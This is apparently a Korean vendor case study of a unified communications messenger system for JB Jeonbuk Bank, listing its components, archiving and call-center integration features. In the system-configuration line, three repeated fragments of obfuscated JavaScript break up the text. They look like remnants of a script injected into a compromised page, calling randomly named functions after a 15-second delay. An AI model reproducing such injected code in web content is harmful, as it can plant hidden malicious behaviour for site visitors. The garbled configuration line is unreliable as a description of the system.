JB전북은행은 본점, 지점, 콜센터간 IP-PBX, ARS, 통합단말,상담시스템,전자결재의 유기적인 통합 UC 시스템을 구축했습니다.
특히 UCM Open SDK를 통해 복잡한 내부 계정계 단말 시스템과의 유지적인 UC서비스를 운영중입니다.
1. 서비스 이름 : UC Mesenger
2. 서비스 대상 : JB전북은행 계열사, 본점, 지점, 콜센터 2,000명
3. 시스템 구성 : 이중화 구성 (Active/Standom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andby)
4. 주요 서비스
· 메시징 데이터 중앙서버 저장화
· 메시징 데이터 3년간 Archiving
· 내부 전자결재, 기간계 업무 시스템 알림 및 SSO Link
4. 서비스 효과
· 전북은행 통합 조직 서비스
· IP-PBX,ARS, 통합상담, 녹취, 통합단말, FAX, 전자결재 통합 연계
· Soft phone 을 통한 Click Call, 착신전환, 당겨받기
· 발신고객 MCID (외부,내부) 정보 표시 및 상담정보 연계
· 그룹 회의통화
· 영업점 호집중화를 위한 통합단말 ARS 비밀번호 인증
· 콜센터에서 영업점 호 전환 및 고객 상담정보 전달
· 선택녹취, 통합단말 Call 서비스
· FAX 시스템 연동 , 전자결재 통합 알림 서비스
5. 전지점, 콜센터의 통합 커뮤니케이션
· 전지점, 콜센터의 통합 커뮤니케이션
· P-PBX를 통한 전직원 IPT UC 통화
· 발신 고객정보의 실시간 습득
· 내부 시스템의 UC 서비스 확장 구현
· 어카이빙 및 추적 구축